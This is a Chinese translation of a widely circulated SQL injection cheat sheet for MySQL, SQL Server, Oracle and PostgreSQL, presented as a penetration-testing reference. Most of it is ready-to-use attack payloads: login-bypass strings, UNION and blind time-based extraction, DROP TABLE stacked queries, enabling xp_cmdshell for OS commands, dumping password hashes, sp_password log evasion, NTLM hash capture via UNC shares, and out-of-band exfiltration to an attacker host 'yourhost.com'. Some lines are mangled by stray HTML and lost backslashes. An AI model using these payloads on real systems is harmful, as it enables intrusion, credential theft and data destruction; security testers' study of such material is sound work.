來源:伯樂在線 - 楊永源
SQL注入速查表是可以為你提供關(guān)于不同種類 SQL注入漏洞 的詳細(xì)信息的一個資源。這份速查表對于經(jīng)驗豐富的滲透測試人員,或者剛開始接觸 Web應(yīng)用安全 的初學(xué)者,都是一份很好的參考資料。
這份 SQL 速查表最初是 2007 年時 Ferruh Mavituna 在他自己的博客上發(fā)布的。我們更新了它并將它移到了公司 CEO 的博客上?,F(xiàn)在,這份速查表僅包含了 MySQL 、SQL Server,和有限的一些關(guān)于 Oracle 和 PostgerSQL 數(shù)據(jù)庫的信息。表中的部分示例可能無法在每一個場景都正常運行,因為真實使用的環(huán)境中,可能因為括號的使用、不同的代碼上下文以及出乎意料的、奇怪而復(fù)雜的 SQL 語句而有所差異。
示例提供給你關(guān)于潛在攻擊的基本思路,而且?guī)缀趺抗?jié)都包含有簡短的說明。
M:MySQL
S:SQL Server
P:PostgreSQL
O:Oracle
:可能出現(xiàn)在其他所有數(shù)據(jù)庫
例如:
(MS)代表:MySQL 和 SQL Server 等
(M*S)代表:僅部分版本及有特殊說明的 MySQL,以及 SQLServer
語法參考,攻擊樣例以及注入小技巧
(1)行間注釋
使用了行間注釋的 SQL 注入攻擊樣例
(2)行內(nèi)注釋
經(jīng)典的行內(nèi)注釋注入攻擊樣例
MySQL 版本探測攻擊樣例
(3)堆疊查詢(Stacking Queries)
支持堆疊查詢的語言/數(shù)據(jù)庫
關(guān)于 MySQL 和 PHP
堆疊注入攻擊樣例
(4)If 語句
MySQL 的 If 語句
SQL Server 的 If 語句
If 語句的注入攻擊樣例
(5)使用整數(shù)(Integers)
(6)字符串操作
字符串的連結(jié)
(7)沒有引號的字符串
基于 16 進(jìn)制的注入攻擊樣例
(8)字符串變體 & 相關(guān)知識
(9)Union 注入
UNION — 語言問題處理
(10)繞過登陸界面
(11)在SQL Server 2005 中啟用 xp_cmdshell
(12)探測 SQL Server 數(shù)據(jù)庫的結(jié)構(gòu)
(13)從基于錯誤的 SQL 注入中快速提取數(shù)據(jù)的方法
(14)SQL 盲注
(15)掩蓋痕跡
(16)MySQL 的額外說明
(17)二階 SQL 注入
(18)帶外(OOB)頻道攻擊
注釋掉查詢語句的其余部分
行間注釋通常用于忽略掉查詢語句的其余部分,這樣你就不用處理因為注入導(dǎo)致的語法變動。
— (SM)
DROP sampletable;--
# (M)
DROP sampletable;#
行間注釋的 SQL 注入攻擊示例
用戶名:admin’–
SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
這會讓你以admin用戶身份登錄,因為其余部分的SQL語句被注釋掉了。
行內(nèi)注釋
通過不關(guān)閉的注釋,注釋掉查詢語句的其余部分,或者用于繞過黑名單過濾、移除空格、迷惑和探測數(shù)據(jù)庫版本。
/*這里是注釋內(nèi)容*/ (SM)
DROP/*注釋*/sampletable
DR/**/OP/*繞過過濾*/sampletable
SELECT/*消除空格*/password/**/FROM/**/Members
/*! MYSQL 專有 SQL */ (M)
這是 MySQL 的專有語法。非常適合用來探測 MySQL 版本。如果你在注釋中寫入代碼,只有 MySQL 才會執(zhí)行。你同樣可以使用這個方法,讓代碼只在服務(wù)器版本高于指定版本才執(zhí)行。
SELECT /*!32302 1/0, */ 1 FROM tablename
經(jīng)典的行內(nèi)注釋 SQL 注入攻擊示例
ID: 10; DROP TABLE members /*
在查詢結(jié)尾簡單地去除其他內(nèi)容。等同于 10; DROP TABLE members —
SELECT /*!32302 1/0, */ 1 FROM tablename
如果 MySQL 版本高于 23.02 會拋出一個除數(shù)為 0(division by 0)的錯誤
MySQL 版本探測攻擊示例
ID: /*!32302 10*/
ID: 10
如果 MySQL 的版本高于 23.02,執(zhí)行上面兩個查詢你將得到相同的結(jié)果
SELECT /*!32302 1/0, */ 1 FROM tablename
如果 MySQL 版本高于 23.02 會拋出一個除數(shù)為 0(division by 0)的錯誤
堆疊查詢
在一個事務(wù)中執(zhí)行多個查詢。這在每一個注入點都非常有用,尤其是后端使用了 SQL Server 的應(yīng)用程序。
; (S)
SELECT * FROM members; DROP members--
結(jié)束一個查詢并開始一個新的查詢。
語言 / 數(shù)據(jù)庫堆疊查詢支持表
綠色:支持;深灰色:不支持;淺灰色:未知
闡明一些問題
PHP – MySQL 不支持堆疊查詢,Java 不支持堆疊查詢(Oracle 我很確定,其他的就不太確定了)。通常來說 MySQL 支持堆疊查詢,但在 PHP – MySQL 應(yīng)用程序中大多數(shù)配置下的數(shù)據(jù)庫層都不能執(zhí)行第二條查詢,也許 MySQL 客戶端支持這個,我并不是很確定。有人能說明下嗎?
ID: 10;DROP members —
SELECT * FROM products WHERE id = 10; DROP members--
這在正常SQL查詢執(zhí)行后將會執(zhí)行 DROP members 語句。
If語句
根據(jù)If語句得到響應(yīng)。這是盲注(Blind SQL Injection)的關(guān)鍵點之一,在盲注和精確的簡單測試中都非常有用。
MySQL 的 If 語句
IF(condition,true-part,false-part)(M)
SELECT IF(1=1,'true','false')
SQL Server 的 If 語句
IF condition true-part ELSE false-part(S)
IF (1=1) SELECT 'true' ELSE SELECT 'false'
Oracle 的 If 語句
BEGIN
IF condition THEN true-part; ELSE false-part; END IF; END;(O)
IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;
PostgreSQL 的 If 語句
SELECT CASE WHEN condition THEN true-part ELSE false-part END;(P)
SELECT CASE WEHEN (1=1) THEN 'A' ELSE 'B'END;
If 語句的 SQL 注入攻擊示例
if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
如果當(dāng)前登錄的用戶不是 ”sa” 或 “dbo”,語句會拋出 除數(shù)為0 的錯誤。
整數(shù)的使用
對于繞過非常有用,如 magic_quotes() 和類似的過濾器,甚至是各種WAF。
0xHEXNUMBER(SM)
你可以這樣使用 16 進(jìn)制數(shù)。
SELECT CHAR(0x66)(S)
SELECT 0x5045 (這不是一個整數(shù),而會是一個 16 進(jìn)制字符串)(M)
SELECT 0x50 0x45 (現(xiàn)在這個是整數(shù)了?。?span>M)
字符串操作
字符串相關(guān)的操作。這些對于構(gòu)造不含引號、繞過黑名單或探測后端數(shù)據(jù)庫的注入非常有用。
字符串的連結(jié)
(S)
SELECT login '-' password FROM members
|| (*MO)
SELECT login || '-' || password FROM members
* 關(guān)于 MySQL 的 “||”
僅當(dāng) MySQL 在 ANSI 模式下這(指 “||” 符號)才會執(zhí)行,其他模式下 MySQL 會當(dāng)成 邏輯運算符 并返回 0。更好的方式是使用 MySQL 的 CONCAT() 函數(shù)。
CONCAT(str1, str2, str3, …) (M)
連接參數(shù)里提供的字符串。
SELECT CONCAT(login, password) FROM members
沒有引號的字符串
有一些直接的方式可以使用字符串,但通常更合適的是使用 CHAR() (MS) 和 CONCAT() (M) 來生成無引號的字符串。
0x457578 (M) - 字符串的 16 進(jìn)制表示
SELECT 0x457578
這在 MySQL 中會被當(dāng)做字符串處理。在 MySQL 中更簡單地生成 16 進(jìn)制字符串的方式是使用下面這個方法:
SELECT CONCAT('0x',HEX('c:boot.ini'))
在 MySQL 中使用 CONCAT() 函數(shù)
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
這會返回‘KLM’。
SELECT CHAR(75) CHAR(76) CHAR(77) (S)
這會返回‘KLM’。
SELECT CHR(75)||CHR(76)||CHR(77) (O)
這會返回‘KLM’。
SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)
這會返回‘KLM’。
基于 16 進(jìn)制的 SQL 注入示例
SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
這會顯示 c:boot.ini 的內(nèi)容
ASCII() (SMP)
返回最左邊字符的ASCII碼的值。這是盲注的一個必備函數(shù)。SELECT ASCII(‘a(chǎn)’)
CHAR() (SM)
將一個整數(shù)轉(zhuǎn)換為對應(yīng)的ASCII值。SELECT CHAR(64)
通過union你能跨表執(zhí)行 SQL 查詢。 基本上你可以污染(注入)查詢使它返回另一個表的記錄。
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
這個查詢會聯(lián)結(jié)并返回 news 表和 members 表的所有記錄。
另一個例子:
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
UNION – 語言問題處理
當(dāng)你使用 Union 注入的時候,有時會遇到錯誤,因為不同語言的設(shè)置(表的設(shè)置、字段的設(shè)置、表或數(shù)據(jù)庫的聯(lián)結(jié)設(shè)置等等),下面這些函數(shù)對于解決以上問題很有用。這樣的問題比較少見,但當(dāng)你處理例如日文、俄文、土耳其文或其他類似的應(yīng)用程序時,你就會發(fā)現(xiàn)了。
SQL Server (S)
使用 COLLATE SQL_Latin1_General_Cp1254_CS_AS 或其他有效的方式 – 具體信息可以查看 SQL Server 的文檔。
SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
MySQL (M)
Hex() 基本上可以解決所有出現(xiàn)的問題。
繞過登錄界面(SMO )
SQL 注入入門指引,登錄小技巧
admin’ —
admin’ #
admin’/*
‘ or 1=1–
‘ or 1=1#
‘ or 1=1/*
‘) or ‘1’=’1–
‘) or (‘1’=’1–
….
以不同的用戶登錄 (SM*)
‘ UNION SELECT 1, ‘a(chǎn)notheruser’, ‘doesnt matter’, 1–
* 舊版本的 MySQL 不支持 union 查詢
繞過檢查 MD5 哈希的登錄界面
如果應(yīng)用是先通過用戶名獲取記錄,然后再把返回的 MD5 值與你輸入的密碼的 MD5 進(jìn)行比較,那么你就需要一些額外的技巧欺騙應(yīng)用來繞過驗證了。你可以將一個已知明文的 MD5 哈希和它的明文一起提交,這種情況下,應(yīng)用會比較你的密碼和你提供的 MD5 值,而不是從數(shù)據(jù)庫獲取的 MD5。
繞過 MD5 檢查的例子 (MSP)
Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
使用 HAVING 探測列名 – 基于錯誤(S)
順序不分先后
‘ HAVING 1=1 —
‘ GROUP BY columnfromerror1 HAVING 1=1 —
‘ GROUP BY columnfromerror1, columnfromerror2 HAVING 1=1 —
‘ GROUP BY columnfromerror1, columnfromerror2,
columnfromerror(n) HAVING 1=1 — and so on
直到不再報錯就完成了。
在 SELECT 查詢中使用 ORDER BY 探測有多少個列(MSO )
通過 ORDER BY 探測列數(shù)可以加快 UNION 注入的進(jìn)度。
ORDER BY 1–
ORDER BY 2–
ORDER BY N– so on
持續(xù)操作直到出現(xiàn)錯誤,報錯時使用的數(shù)字就是列數(shù)了。
提示:
在使用 UNION 時總是搭配上 ALL,因為會存在相同值的字段,而缺省情況下,Union 都會嘗試返回非重復(fù)的記錄。
在查詢的開始處,可以使用 -1 或者其他不存在的值來去除左側(cè)表中非必須的記錄(前提是注入點在 WHERE 語句里)。如果你一次只想取得一條記錄,這是非常關(guān)鍵的點。
在對大多數(shù)數(shù)據(jù)類型的 UNION 注入中使用 NULL 代替猜測它是字符串、日期、整數(shù)等類型。
盲注的情況下,要注意判斷錯誤時來自數(shù)據(jù)庫還是來自應(yīng)用程序本身。因為像 ASP.NET 或有其他語言,通常在使用 NULL 值的時候會拋出錯誤(因為開發(fā)者們一般沒有想過用戶名字段會出現(xiàn) NULL)
‘ union select sum(columntofind) from users— (S)
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.如果沒有返回錯誤說明字段是數(shù)字類型(numeric).
你也可以使用 CAST() 或者 CONVERT()
SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL–
11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
沒有錯誤 – 語法是對的。這是 MS SQL Server 的語法。繼續(xù)。
11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
沒有錯誤 – 第一列是 integer 類型。
11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 —
錯誤! – 第二列不是 integer 類型。
11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
沒有錯誤 – 第二列是 string 類型。
11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
報錯! – 第三列不是 integer 類型。
…Microsoft OLE DB Provider for SQL Server error ‘80040e07
’
Explicit conversion from data type int to image is not allowed.
你在遇到 union 錯誤之前會遇到 convert() 錯誤! 所以從 convert() 開始,再用 union。
'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*
有用的函數(shù) / 信息收集 / 存儲過程 / Bulk SQL 注入說明
@@version(MS)
數(shù)據(jù)庫的版本和關(guān)于 SQL Server 的詳細(xì)信息。這是個常量,你能把它當(dāng)做一個列來 select,而且不需要提供表名。同樣,你也能在 insert、update 語句或者函數(shù)里使用它。
INSERT INTO members(id, user, pass) VALUES(1, '' SUBSTRING(@@version,1,10) ,10)
Bulk insert(S)
(補(bǔ)充說明:bulk insert 是 SQL Server 的一個命令)
插入一個文件的內(nèi)容到表中。如果你不知道應(yīng)用的內(nèi)部路徑,可以讀取 IIS(僅限 IIS 6)的元數(shù)據(jù)庫文件(metabase file,%systemroot%system32inetsrvMetaBase.xml)然后找出應(yīng)用的路徑。
Create table foo( line varchar(8000) )
bulk insert foo from ‘c:inetpubwwwrootlogin.asp’
Drop 臨時表,并重復(fù)另一個文件。
BCP(S)
(補(bǔ)充說明:BCP 是 SQL Server 的一個工具)
寫文本文件。使用這個功能需要登錄。
bcp “SELECT * FROM test..foo” queryout c:inetpubwwwrootruncommand.asp -c -Slocalhost -Usa -Pfoobar
SQL Server 中的 VBS 和 WSH(S)
開啟 ActiveX 支持的情況下,你可以在 SQL Server 中使用 VBS 和 WSH 腳本編程。
declare @o int
exec sp_oacreate ‘wscript.shell’, @o out
exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’
Username: ‘; declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’ —
執(zhí)行系統(tǒng)命令、xp_cmdshell(S)
眾所周知,在 SQL Server 2005 中默認(rèn)是禁用的。你需要 Admin 權(quán)限。.
EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:’
用 ping 簡單檢查下 (在開始之前先配置好你的防火墻或嗅探器確認(rèn)請求能發(fā)出)
EXEC master.dbo.xp_cmdshell ‘ping ‘
你無法從錯誤或 union 或其他的什么直接讀取結(jié)果。
SQL Server 中的一些特殊表(S)
Error Messages
.sysmessages
Linked Servers
.sysservers
Password (2000 和 2005 版本都能被入侵,它們使用非常相似的哈希算法)
SQL Server 2000:.sysxlogins
SQL Server 2005 : sys.sql_logins
SQL Server 的其他存儲過程(S)
命令執(zhí)行(xp_cmdshell)
exec master..xp_cmdshell ‘dir’
注冊表相關(guān)(xp_regread)
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
exec xp_regread HKEY_LOCAL_MACHINE, ‘SYSTEMCurrentControlSetServiceslanmanserverparameters’, ‘nullsessionshares’
exec xp_regenumvalues HKEY_LOCAL_MACHINE, ‘SYSTEMCurrentControlSetServicessnmpparametersvalidcommunities’
管理服務(wù)(xp_servicecontrol)
媒體(xp_availablemedia)
ODBC 資源(xp_enumdsn)
登錄模式(xp_loginconfig)
創(chuàng)建 Cab 文件(xp_makecab)
域名列舉(xp_ntsec_enumdomains)
結(jié)束進(jìn)程(需要進(jìn)程 ID)(xp_terminate_process)
創(chuàng)建新程序(實際上你想執(zhí)行什么都可以了)
sp_addextendedproc ‘xp_webserver’, ‘c:tempx.dll’
exec xp_webserver
將文本文件寫進(jìn) UNC 或內(nèi)部路徑(sp_makewebtask)
MSSQL Bulk 說明
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell ‘dir *.exe’;IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)INSERT tbl EXEC master..xp_cmdshell OSQL /Q”DBCC SHOWCONTIG”
OPENROWSET (Transact-SQL) – http://msdn2.microsoft.com/en-us/library/ms190312.aspx
你不能在 SQL Server 的 Insert 語句里使用子查詢。
使用 LIMIT(M)或 ORDER(MSO)的注入
SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;
如果注入點在 limit 的第二個參數(shù)處,你可以把它注釋掉或者使用 union 注入。
停止 SQL Server(S)
當(dāng)你真的不開心了,可以使用 ‘;shutdown —
在 SQL Server 中啟用 xp_cmdshell
默認(rèn)情況下,在 SQL Server 2005 中 xp_cmdshell 和其他一些存在潛在危險的存儲過程都是被禁用的。如果你有 admin 權(quán)限就可以啟用它們了。
EXEC sp_configure ‘show advanced options’,1
RECONFIGURE
EXEC sp_configure ‘xp_cmdshell’,1
RECONFIGURE
探測 SQL Server 數(shù)據(jù)庫的結(jié)構(gòu)(S)
獲取用戶定義表
SELECT name FROM sysobjects WHERE xtype = 'U'
獲取字段名
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')
移動記錄(S)
修改 WHERE 和使用 NOT IN 或 NOT EXIST
… WHERE users NOT IN (‘First User’, ‘Second User’)
SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- very good one
使用惡劣的小技巧
SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as intSelect p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21
從基于錯誤的 SQL 注入中快速提取數(shù)據(jù)的方法(S)
';BEGIN DECLARE @rt varchar(8000) SET @rd=':'
SELECT @rd=@rd ' ' name FROM syscolumns
WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS')
AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--
詳細(xì)說明可以查看文章:從基于錯誤的 SQL 注入中快速提取數(shù)據(jù)的方法
探測 MySQL 數(shù)據(jù)庫的結(jié)構(gòu)(M)
獲取用戶定義表
SELECT table_name FROM information_schema.tables WHERE table_schema = 'tablename'
獲取列名
SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = 'tablename'
探測 Oracle 數(shù)據(jù)庫的結(jié)構(gòu)(O)
獲取用戶定義表
SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
獲取列名
SELECT * FROM all_col_comments WHERE TABLE_NAME = 'TABLE'
SQL 盲注
關(guān)于 SQL 盲注
在一個良好的生產(chǎn)環(huán)境應(yīng)用程序中,通常你無法在頁面上看到錯誤(error)提示,所以你也就無法通過 Union 攻擊或者基于錯誤的攻擊中提取數(shù)據(jù)。你不得不使用盲注攻擊來取得數(shù)據(jù)。SQL 盲注存在有兩種類型:
一般盲注:你無法在頁面中看到響應(yīng),但你仍然可以通過響應(yīng)或 HTTP 狀態(tài)碼確定查詢的結(jié)果;
完全盲注:無論你怎么注入也無法從輸出看出任何變化。這樣你只能通過日志記錄或類似的來注入。雖然這并不常見。
在一般盲注情況中你可以使用 if 語句或者 WHERE 查詢來注入(一般來說很容易),在完全盲注你需要使用一些延時函數(shù)并分析響應(yīng)時間。因此你可以在注入 SQL Server 時使用 WAIT FOR DELAY ‘0:0:10’,注入 MySQL 時使用 BENCHMARK() 和 sleep(10),注入 PostgreSQL 時使用 pg_sleep(10),還有對 ORACLE 的一些 PL/SQL 小技巧。
真實且有點復(fù)雜的 SQL 盲注攻擊示例
這些輸出來自于一個真實的私有 SQL 盲注工具對使用 SQL Server 的后端程序的攻擊和表名遍歷。這些請求完成了探測第一個表名的首字符。因為是自動化攻擊,SQL 查詢比實際需求復(fù)雜一些。過程中我們通過二分查找算法嘗試確定字符的 ASCII 值。
TRUE 和 FALSE 標(biāo)記代表查詢返回的是 true 或 false。
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
當(dāng)最后兩個查詢失敗我們可以毫無疑問地確定表名第一個字符的 ASCII 值是 80,這意味著第一個字符是 P。這就是使用二分查找算法進(jìn)行 SQL 盲注的方法。另一個常見的方法是一位一位(bit)地讀取數(shù)據(jù)。這兩個方法在不同情況下都有效。
延時盲注
首先,在完全沒有提示(really blind)的情況下才使用,否則使用 1/0 方式的錯誤辨認(rèn)差異。其次,使用超過 20 秒的延時需要小心,因為數(shù)據(jù)庫的 API 連接或腳本可能出現(xiàn)超時。
WAIT FOR DELAY ‘time’(S)
這個與sleep一樣,等待指定的時間。通過 CPU 安全的方法讓數(shù)據(jù)庫等待。
WAITFOR DELAY '0:0:10'--
另外,你也可以使用分?jǐn)?shù),像這樣
WAITFOR DELAY '0:0:0.51'
真實案例
是否‘sa’用戶?
if (select user) = ‘sa’ waitfor delay ‘0:0:10’
ProductID = 1;waitfor delay ‘0:0:10’–
ProductID =1);waitfor delay ‘0:0:10’–
ProductID =1′;waitfor delay ‘0:0:10’–
ProductID =1′);waitfor delay ‘0:0:10’–
ProductID =1));waitfor delay ‘0:0:10’–
ProductID =1′));waitfor delay ‘0:0:10’–
BENCHMARK()(M)
基本上,很多人濫用這個命令來做 MySQL 的延時。小心使用,這會很快地消耗服務(wù)器的資源!
BENCHMARK(howmanytimes, do this)
真實案例
判斷是否 root 用戶
IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
判斷表是否存在
IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
pg_sleep(seconds)(P)
睡眠指定的秒數(shù)。
SELECT pg_sleep(10);
睡眠 10 秒。
sleep(seconds)(M)
睡眠指定的秒數(shù)。
SELECT sleep(10);
睡眠10秒。
dbms_pipe.receive_message(O)
睡眠指定的秒數(shù)。
(SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100)
THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROM dual)
{INJECTION} = 你想實際運行的查詢。
如果條件為真(true),會在10秒后才響應(yīng)。如果是假(false),延遲1秒就返回。
SQL Server -sp_password 日志繞過(S)
出于安全原因,SQL Server 不會將包含 sp_password 的查詢記錄到日志中。. 所以如果你在查詢中加入 –sp_password 選項,你執(zhí)行的查詢就不會出現(xiàn)在數(shù)據(jù)庫日志中(當(dāng)然,在 Web 服務(wù)器的日志里還是會有,所以可能的話盡量使用 POST 方法)
這些測試完全適用于 SQL 盲注和靜默攻擊。
asp?id=4(SMO)
asp?id=5-1
asp?id=4 OR 1=1
asp?name=Book
asp?name=Bo’%2b’ok
asp?name=Bo’ || ’ok(OM)
asp?name=Book’ OR ‘x’=’x
子查詢只在 MySQL 4.1 或以上版本才生效
用戶
SELECT User,Password FROM mysql.user;
SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)=’2′,BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;
SELECT … INTO DUMPFILE
把查詢寫入一個新文件(不能修改已有的文件)
UDF 函數(shù)
create function LockWorkStation returns integer soname ‘user32’;
select LockWorkStation();
create function ExitProcess returns integer soname ‘kernel32’;
select exitprocess();
SELECT USER();
SELECT password,USER() FROM mysql.user;
admin密碼哈希值的第一位
SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
讀取文件
php?user=1 union select load_file(0x63…),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
MySQL Load Data infile
select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1(‘test’)), ‘false’ );
create table foo( line blob );
load data infile ‘c:/boot.ini’ into table foo;
select * from foo;
這個功能默認(rèn)是沒有開啟的!
MySQL 的更多延時方法
select benchmark( 500000, sha1( ‘test’ ) );
php?user=1 union select benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
select if( user() like ‘root@%’, benchmark(100000,sha1(‘test’)), ‘false’ );
遍歷數(shù)據(jù),暴力猜解
潛在有用的 MySQL 函數(shù)
MD5()
MD5 哈希
SHA1()
SHA1 哈希
PASSWORD()
ENCODE()
COMPRESS()
壓縮數(shù)據(jù),在 SQL 盲注讀取大量二進(jìn)制數(shù)據(jù)時很有用。
ROW_COUNT()
SCHEMA()
VERSION()
等同于 @@version
一般你在某個地方進(jìn)行 SQL 注入并期望它沒有被過濾掉。這是常見的隱藏層問題。
Name : ' (SELECT TOP 1 password FROM users ) '
Email : xx@xx.com
如果應(yīng)用程序在一個不安全的存儲過程(或函數(shù)、流程等)中使用了 name 字段,那么它會將第一個用戶的密碼寫入到你的 name 字段。
通過強(qiáng)迫 SQL Server 來得到 NTLM 哈希
這個攻擊能幫你得到目標(biāo)服務(wù)器上 SQL Server 用戶的 Windows 密碼,不過你的接入連接可能會被防火墻攔截。這在內(nèi)部滲透測試中非常有用。我們強(qiáng)迫 SQL Server 連接我們的 Windows UNC 共享(Windows 上常見的網(wǎng)絡(luò)共享)并通過類似 Cain & Abel(網(wǎng)絡(luò)嗅探和口令破解工具)的工具捕獲 NTLM 會話數(shù)據(jù)。
從一個 UNC 共享進(jìn)行 Bulk insert(S)
bulk insert foo from 'YOURIPADDRESSC$x.txt'
查看 Bulk Insert Reference 可以讓你了解怎么使用 bulk insert。
帶外攻擊
SQL Server
{INJECTION} = 你想要執(zhí)行的查詢。
vulnerableParam=1; SELECT * FROM OPENROWSET('SQLOLEDB', ({INJECTION}) '.yourhost.com';'sa';'pwd', 'SELECT 1')
將 DNS 解析請求轉(zhuǎn)到 {INJECT}.yourhost.com
vulnerableParam=1; DECLARE <a href='http://www.jobbole.com/members/caogen'>@q</a> varchar(1024); SET <a href='http://www.jobbole.com/members/caogen'>@q</a> = '' ({INJECTION}) '.yourhost.comtest.txt'; EXEC master..xp_dirtree <a href='http://www.jobbole.com/members/caogen'>@q</a>
將 DNS 解析請求轉(zhuǎn)到 {INJECTION}.yourhost.com
MySQL
{INJECTION} = 你想要執(zhí)行的查詢。
vulnerableParam=-99 OR (SELECT LOAD_FILE(concat('',({INJECTION}), 'yourhost.com')))
將 NBNS 查詢請求或 DNS 解析請求轉(zhuǎn)到 com
vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE 'yourhost.comshareoutput.txt')
將數(shù)據(jù)寫到你的共享文件夾或文件
Oracle
{INJECTION} = 你想要執(zhí)行的查詢。
vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ sniff.php?sniff='||({INJECTION})||'') FROM DUAL)
嗅探程序?qū)4娼Y(jié)果
vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ '||({INJECTION})||'.html') FROM DUAL)
結(jié)果將會被保存到 HTTP 訪問日志
vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||'.yourhost.com') FROM DUAL)
你需要監(jiān)測去到com 的 DNS 解析請求
